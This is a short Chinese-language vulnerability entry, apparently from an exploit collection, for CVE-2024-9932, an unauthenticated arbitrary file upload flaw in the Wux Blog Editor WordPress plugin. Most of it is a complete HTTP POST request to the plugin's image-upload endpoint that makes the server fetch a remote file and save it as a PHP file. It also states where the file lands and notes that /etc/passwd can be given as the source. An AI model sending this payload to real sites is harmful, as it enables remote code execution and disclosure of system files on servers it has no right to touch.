Wux Blog Editor <= 3.0.0 - 未认证任意文件上传
Wux Blog Editor 插件（WordPress 版）在 3.0.0 及之前版本中，由于 wuxbt_insertImageNew 函数对文件类型验证不足，存在任意文件上传漏洞。这使得未认证攻击者能够在受影响站点的服务器上上传任意文件，从而可能导致远程代码执行可
Link: CVE-2024-9932
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://kubernetes.docker.internal
Connection: keep-alive
{
"url": "https://rfi.nessus.org/rfi.txt",
"imageName": "rf.php",
"image_alt": "Description of the image",
"image_title": "Title of the image"
}
文件最终位于 /wp-content/uploads/2024/11/rf.php
你也可以提供一个文件位置，比如 /etc/passwd